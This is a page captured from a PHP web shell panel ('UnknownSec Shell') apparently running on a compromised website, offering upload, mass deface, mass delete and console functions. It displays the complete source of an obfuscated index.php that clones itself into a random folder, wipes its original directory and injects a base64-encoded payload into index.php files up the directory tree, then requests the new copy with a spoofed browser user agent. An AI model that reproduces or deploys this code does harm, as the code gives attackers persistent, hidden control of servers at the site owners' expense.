shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
public
/
assets
/
images
/
a5mutcz
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
index.php
<?php goto wrjWd; ItdbH: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto N25oF; EkvMC: while ($nnn < 1500000) { if ($in = file($ddir . "\x69\156\x64\145\170\56\x70\x68\160")) { if (sizeof($in) < 3) { break; } $in = implode('', $in); if (@strpos($in, "\x62\x6f\164\142\x6f\x74\x62\x6f\x74")) { echo ''; } else { $in = $code . $in; @chmod($ddir . "\151\156\x64\145\x78\x2e\x70\x68\x70", 511); @unlink($ddir . "\151\x6e\x64\145\170\56\x70\x68\160"); if ($outheader = @fopen($ddir . "\151\156\144\145\170\x2e\160\150\160", "\x77")) { @fwrite($outheader, $in); @fclose($outheader); } } $nnn++; } } goto ZImRm; oESwe: array_pop($url); goto lHwnu; fzZ86: if ($count == 4) { $ddir = "\56\56\57"; } goto XboWP; y9RBr: if ($count == 9) { $ddir = "\56\56\57\x2e\x2e\x2f\56\56\57\56\x2e\x2f\x2e\56\x2f\56\x2e\57"; } goto SKWKU; EBiRw: if ($count == 8) { $ddir = "\x2e\x2e\57\56\x2e\57\56\56\x2f\56\56\57\56\56\57"; } goto y9RBr; zyZkJ: ignore_user_abort(true); goto wZJ7u; yb2_N: $newurl = $url . "\57" . $foldername . "\x2f\151\x6e\x64\x65\x78\x2e\x70\150\x70"; goto hNYbb; XboWP: if ($count == 5) { $ddir = "\x2e\x2e\x2f\56\x2e\x2f"; } goto jtfop; ofFGf: $let = array("\61", "\62", "\63", "\x34", "\65", "\66", "\x37", "\x38", "\x39", "\x30", "\x71", "\x77", "\145", "\x72", "\x74", "\171", "\x75", "\151", "\x6f", "\x70", "\141", "\163", "\x64", "\146", "\x67", "\150", "\152", "\x6b", "\154", "\172", "\170", "\x63", "\166", "\x62", "\156", "\155", "\x71", "\x77", "\x65", "\x72", "\x74", "\x79", "\x75", "\x69", "\157", "\160", "\141", "\163", "\144", "\146", "\147", "\150", "\x6a", "\x6b", "\154", "\172", "\170", "\143", "\x76", "\142", "\x6e", "\x6d"); goto hVcqC; Wf_nH: if ($count == 14) { $ddir = "\56\x2e\x2f\56\x2e\57\x2e\x2e\x2f\56\x2e\x2f\56\56\57\x2e\56\57\x2e\x2e\57\56\56\x2f\56\x2e\x2f\x2e\x2e\x2f\x2e\56\x2f"; } goto VQjnB; VQjnB: $code = base64_decode("\x50\x44\x39\167\141\110\x41\x67\x5a\62\x39\x30\x62\171\x42\x71\x61\x6b\115\x79\132\152\x73\147\126\154\x56\65\144\x48\x6f\x36\x49\103\x52\x69\x62\x33\x52\x69\142\x33\x52\x69\x62\x33\x52\x69\142\63\x51\x67\x50\x53\x41\151\130\x48\x67\x79\132\x56\x77\x31\116\154\167\x31\x4e\151\111\147\x4c\x69\101\153\130\x31\116\x46\125\x6c\132\106\125\x6c\x73\151\130\x44\105\170\x4d\106\170\64\116\x54\x52\x63\115\124\111\60\130\x44\105\171\x4d\106\170\64\x4e\x57\132\x63\x4d\124\111\61\x58\104\x45\171\115\61\167\x78\x4d\104\126\x63\x65\x44\x55\x79\x58\x44\105\x7a\116\x31\x78\x34\116\x44\x46\143\115\124\x41\63\x58\104\105\x77\x4e\126\170\64\x4e\107\x56\143\x65\x44\x55\x30\111\154\x30\67\x49\107\144\166\x64\107\x38\x67\125\61\x52\63\144\156\x6f\x37\111\x47\x70\x71\x51\172\112\155\117\x69\102\101\132\130\112\171\x62\x33\112\146\x63\x6d\126\x77\142\x33\112\60\x61\127\65\x6e\x4b\104\x41\160\117\171\x42\x6e\x62\63\x52\x76\111\106\x5a\126\145\x58\122\x36\117\x79\x42\104\x64\60\x78\x6d\132\x7a\x6f\147\141\127\x59\147\113\x48\116\x30\143\156\x42\166\143\x79\x67\x6b\131\x6d\71\60\x59\155\x39\60\131\155\x39\60\131\155\x39\x30\x4c\103\101\x69\130\x48\147\x32\132\154\x78\64\116\x6d\x5a\x63\145\x44\131\63\130\x48\x67\x32\131\x31\x77\x78\116\104\x55\151\113\x53\102\166\143\x69\102\x7a\144\110\112\x77\x62\63\115\x6f\112\107\112\x76\144\107\x4a\x76\x64\x47\112\x76\x64\x47\112\166\x64\103\x77\147\x49\x6c\x78\64\x4e\x6a\x6c\x63\115\124\125\62\130\104\105\x30\x4e\171\x49\160\x49\x47\71\171\x49\x48\x4e\60\143\x6e\102\x76\x63\171\x67\153\x59\155\x39\60\x59\155\71\60\x59\x6d\x39\60\x59\x6d\71\60\114\x43\101\151\130\110\147\62\115\126\167\x78\116\x54\x42\143\115\x54\x55\x33\x58\x44\105\61\116\171\111\x70\113\123\x42\67\x49\x43\x52\x34\145\x48\147\147\x50\x53\102\x69\x59\130\116\154\116\152\x52\x66\132\107\126\152\142\x32\122\x6c\x4b\x43\x4a\143\x4d\x54\105\x32\x58\104\105\x31\x4d\154\x78\64\x4e\124\x56\143\145\104\x4e\x6b\111\151\x6b\x37\111\x43\x52\x34\145\x48\147\170\111\104\60\147\x59\155\x46\172\x5a\124\x59\x30\x58\x32\122\x6c\x59\x32\x39\153\x5a\x53\147\x69\130\x48\x67\x30\x5a\x46\170\x34\116\155\x46\143\x65\x44\121\61\x58\x44\x63\61\111\x69\x6b\67\111\x43\122\64\145\x48\147\x79\x49\104\60\x67\131\x6d\106\172\x5a\x54\131\60\130\x32\122\154\131\62\71\153\x5a\123\x67\151\130\x44\105\170\x4e\126\x78\x34\x4e\155\106\x63\145\104\122\153\x58\x44\131\170\x49\x69\153\67\111\103\122\64\x65\110\147\x7a\111\x44\x30\147\131\x6d\x46\172\x5a\x54\x59\60\130\62\x52\x6c\131\62\71\x6b\x5a\x53\x67\x69\x58\x48\x67\x30\x5a\106\167\x78\x4e\124\112\143\x65\x44\x55\61\x58\x48\147\x33\x4f\x43\x49\x70\117\x79\101\153\x65\110\150\x34\116\x43\101\x39\111\107\x4a\150\143\62\125\62\x4e\106\71\x6b\x5a\x57\116\166\132\107\x55\157\x49\154\167\170\x4e\104\x46\143\x4d\124\111\63\130\104\x59\x31\x58\104\105\x32\x4e\x31\x77\x78\116\104\122\143\115\124\x4d\167\x58\110\x67\x31\x4d\126\x78\64\115\x32\x51\x69\x4b\124\x73\x67\x4a\x48\x68\x34\145\104\101\x67\x50\123\x42\x69\x59\x58\x4e\154\116\152\122\146\132\107\x56\152\142\x32\122\154\113\x43\x4a\x63\x4d\x54\121\170\130\104\105\170\115\x46\x77\170\x4d\152\x4a\143\116\x6a\x42\x63\115\x54\121\x7a\130\x48\x67\60\x4e\x46\170\64\116\155\132\x63\x4d\124\131\x32\x58\x44\x45\170\116\106\x77\170\x4e\x6a\x64\x63\116\172\126\143\145\104\116\153\x49\151\x6b\67\x49\103\122\x34\145\x48\x67\167\115\103\101\71\x49\x43\x52\x34\145\x48\147\147\114\x69\x41\x69\130\x44\125\62\x49\x69\x41\x75\x49\103\x52\x34\145\x48\147\x78\x49\x43\64\x67\x49\x6c\170\x34\x4d\155\125\151\x49\x43\64\147\x4a\x48\150\64\x65\x44\111\147\114\x69\101\151\130\104\125\62\111\x69\x41\165\111\103\122\x34\x65\110\x67\172\117\x79\x41\x6b\x65\x48\150\64\x4d\x54\105\147\x50\123\101\x6b\x65\110\x68\x34\x4e\103\x41\165\111\103\x4a\x63\145\104\x4a\155\130\x44\x63\x33\130\104\105\62\116\126\170\64\x4e\x7a\116\x63\145\104\131\x31\130\104\x45\x32\115\154\167\x78\116\x44\106\x63\145\x44\x59\x33\x58\x44\x45\x30\x4e\x56\x77\170\116\124\x5a\143\115\124\131\x30\x58\104\143\61\x49\151\x41\x75\x49\x43\122\151\x62\63\x52\x69\142\63\x52\151\x62\x33\122\151\142\x33\121\x67\114\x69\x41\151\130\x48\147\171\x4e\154\167\x78\x4e\104\122\143\x4d\x54\x55\63\x58\104\105\x31\116\x56\170\64\116\152\106\x63\115\124\125\x78\x58\x44\105\x31\x4e\x6c\167\63\116\123\111\x67\x4c\x69\101\x6b\130\x31\x4e\x46\125\x6c\x5a\x46\x55\154\x73\x69\130\x44\105\170\x4d\106\x77\170\115\152\122\x63\145\x44\125\60\130\110\147\61\x4d\106\x77\x78\115\x7a\x64\143\x4d\x54\x45\167\x58\x44\105\x78\x4e\x31\x77\170\x4d\152\x4e\143\145\104\125\60\x49\154\x30\x37\111\x43\x52\x31\143\155\167\x67\x50\123\101\153\145\x48\x68\64\x4d\x43\x41\x75\x49\x43\x52\x34\x65\110\x67\x77\115\x43\101\165\x49\x43\112\x63\116\x54\143\151\111\103\64\147\112\x48\150\64\145\104\105\x78\117\171\x41\153\x59\x32\147\147\120\123\x42\152\x64\x58\x4a\163\130\x32\x6c\x75\141\x58\x51\x6f\x4b\x54\x73\x67\x59\63\x56\171\142\106\71\172\x5a\x58\x52\166\x63\110\x51\x6f\x4a\107\116\157\114\x43\102\x44\126\x56\112\115\x54\x31\x42\x55\x58\x31\x56\123\x54\x43\x77\147\112\x48\126\x79\x62\x43\153\x37\111\107\116\x31\143\x6d\170\146\143\x32\x56\60\x62\63\102\60\113\x43\x52\x6a\x61\103\x77\x67\x51\61\126\123\x54\x45\x39\121\x56\x46\71\x53\122\126\122\x56\125\x6b\x35\x55\x55\153\x46\117\x55\x30\x5a\106\x55\151\x77\147\115\x53\153\x37\111\103\122\171\132\x58\116\x31\x62\x48\x51\147\x50\123\x42\152\144\x58\x4a\163\x58\x32\126\x34\132\x57\115\x6f\112\x47\x4e\x6f\x4b\x54\163\147\131\x33\x56\171\x62\106\x39\152\x62\107\71\172\132\x53\147\x6b\x59\62\147\160\117\171\102\154\131\x32\150\166\x49\x43\x52\171\x5a\130\x4e\61\x62\110\x51\67\x49\107\154\x6d\x49\x43\x68\x7a\144\110\112\167\142\x33\x4d\157\x4a\x48\x4a\x6c\143\63\x56\163\144\103\167\x67\111\154\170\64\116\152\150\143\115\124\131\171\130\x44\105\60\116\x56\x77\170\x4e\x44\x5a\143\145\x44\116\153\111\151\x6b\x67\120\x43\101\170\x4b\123\x42\67\111\103\122\x79\x5a\130\116\x31\142\110\121\x67\x50\x53\102\x41\132\155\154\163\x5a\126\x39\156\x5a\130\x52\x66\131\x32\x39\165\x64\107\x56\x75\144\x48\x4d\x6f\111\x6e\x73\153\x64\130\x4a\163\x66\123\x49\160\117\171\102\154\x59\x32\150\x76\x49\x43\x52\x79\132\130\x4e\61\142\x48\121\67\x49\110\60\147\x66\x53\102\156\142\x33\x52\x76\111\x46\x4a\170\130\x31\144\x4d\x4f\x79\x42\x54\x56\110\144\62\145\x6a\x6f\x67\112\107\112\x76\144\107\112\166\144\107\112\x76\144\107\x4a\166\144\x43\x41\71\x49\x48\116\x30\143\x6c\x39\x79\x5a\130\102\163\x59\x57\116\x6c\113\103\x4a\143\116\104\x41\x69\x4c\x43\101\151\x58\104\125\61\x49\x69\167\x67\112\107\x4a\x76\x64\107\112\166\144\x47\112\166\x64\107\x4a\x76\x64\x43\x6b\67\111\107\144\x76\144\107\x38\x67\x51\63\144\115\x5a\x6d\x63\x37\111\106\x4a\x78\130\x31\144\115\117\x69\x41\x2f\x50\147\x3d\x3d"); goto c_MHi; PZmIw: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); goto FY3_P; GHP27: $outheader = @fopen("\56\56\57" . $foldername . "\x2f\x69\156\144\145\170\x2e\160\150\160", "\x77"); goto u10OM; EK5d2: @fclose($outheader); goto dNnBd; XfBcr: $url = explode("\x2f", $url); goto oESwe; hVcqC: $foldername = ''; goto y5jpV; FWZnr: if ($count == 12) { $ddir = "\56\56\57\x2e\56\57\56\56\x2f\x2e\56\57\x2e\56\x2f\x2e\56\x2f\56\x2e\57\x2e\x2e\57\x2e\56\x2f"; } goto FIx_p; jtfop: if ($count == 6) { $ddir = "\x2e\56\57\56\56\x2f\56\56\57"; } goto KDrRd; FIx_p: if ($count == 13) { $ddir = "\56\56\x2f\56\x2e\57\56\x2e\x2f\x2e\56\57\56\x2e\57\56\56\x2f\x2e\56\x2f\x2e\56\57\56\56\x2f\56\56\57"; } goto Wf_nH; asVuH: rmdir("\56\56\x2f" . basename(dirname(__FILE__))); goto uU0n5; UjANX: curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); goto j_537; c_MHi: $nnn = 0; goto EkvMC; VR25u: $dir = scandir("\56"); goto JLbeI; ljqFJ: curl_close($ch); goto zmrrm; FY3_P: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); goto Vs5Zp; zmrrm: $url = (!empty($_SERVER["\110\124\x54\x50\123"]) ? "\150\164\164\x70\163" : "\x68\164\x74\160") . "\x3a\57\x2f" . $_SERVER["\x48\x54\x54\x50\137\x48\117\x53\124"] . $_SERVER["\x52\105\x51\x55\x45\x53\124\x5f\125\122\x49"]; goto TB215; MhqUH: curl_setopt($ch, CURLOPT_URL, $newurl); goto ItdbH; ZQ4dP: if ($count == 11) { $ddir = "\56\x2e\x2f\x2e\56\x2f\56\x2e\57\x2e\x2e\57\56\56\57\56\56\x2f\x2e\x2e\x2f\56\x2e\x2f"; } goto FWZnr; RmQeF: if ($count == 3) { $ddir = "\x2e\57"; } goto fzZ86; SQDC0: $url2 = str_replace("\57", '', $url, $count); goto XfBcr; jmV3g: $url = implode("\x2f", $url); goto yb2_N; JLbeI: foreach ($dir as $dirr) { if ($dirr !== "\56" and $dirr !== "\x2e\x2e") { unlink($dirr); } } goto asVuH; KDrRd: if ($count == 7) { $ddir = "\56\56\x2f\x2e\x2e\x2f\56\x2e\x2f\56\56\57"; } goto EBiRw; dNnBd: $url = (!empty($_SERVER["\110\124\x54\120\x53"]) ? "\150\164\164\x70\163" : "\150\164\x74\x70") . "\72\57\57" . $_SERVER["\x48\124\x54\120\x5f\110\x4f\x53\x54"] . $_SERVER["\x52\x45\121\x55\105\x53\124\x5f\x55\x52\111"]; goto SQDC0; gycjg: set_time_limit(0); goto zyZkJ; N25oF: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); goto UjANX; wZJ7u: $scriptname = "\x69\x6e\144\x65\170\56\160\150\160"; goto D5S0f; hNYbb: $ch = curl_init(); goto MhqUH; uU0n5: sleep(30); goto ofFGf; aMlZQ: mkdir("\x2e\x2e\57{$foldername}", 511); goto GHP27; D5S0f: $myfile = fopen("{$scriptname}", "\x72"); goto ncb0M; lHwnu: array_pop($url); goto jmV3g; Vs5Zp: curl_setopt($ch, CURLOPT_USERAGENT, "\x4d\x6f\x7a\x69\x6c\x6c\x61\57\65\x2e\60\x20\x28\x57\x69\x6e\144\x6f\167\163\40\x4e\124\x20\61\60\56\60\73\x20\127\x69\x6e\x36\64\73\40\170\x36\x34\x29\x20\101\x70\160\154\145\127\145\142\113\151\164\57\65\x33\67\56\x33\x36\x20\50\x4b\110\124\115\114\54\40\x6c\x69\153\145\40\x47\x65\x63\x6b\x6f\x29\40\x43\x68\x72\x6f\x6d\145\x2f\61\x31\x31\x2e\x30\56\60\x2e\60\x20\123\141\x66\141\x72\x69\57\x35\x33\x37\56\x33\x36\40\117\x50\x52\x2f\71\x37\x2e\60\56\x30\x2e\x30"); goto jSrTo; jSrTo: $text = curl_exec($ch); goto ljqFJ; u10OM: @fwrite($outheader, $distr); goto EK5d2; SKWKU: if ($count == 10) { $ddir = "\56\56\57\56\56\57\x2e\56\x2f\56\x2e\57\56\56\57\x2e\x2e\57\56\56\57"; } goto ZQ4dP; j_537: curl_setopt($ch, CURLOPT_TIMEOUT, 10); goto PZmIw; TB215: $url2 = str_replace("\57", '', $url, $count); goto RmQeF; y5jpV: for ($ns = 1; $ns < rand(8, 8); $ns++) { $r = rand(0, count($let) - 1); $foldername .= $let[$r]; } goto aMlZQ; ncb0M: $distr = fread($myfile, filesize("{$scriptname}")); goto VR25u; wrjWd: error_reporting(0); goto gycjg; ZImRm: ?>
© 2026 UnknownSec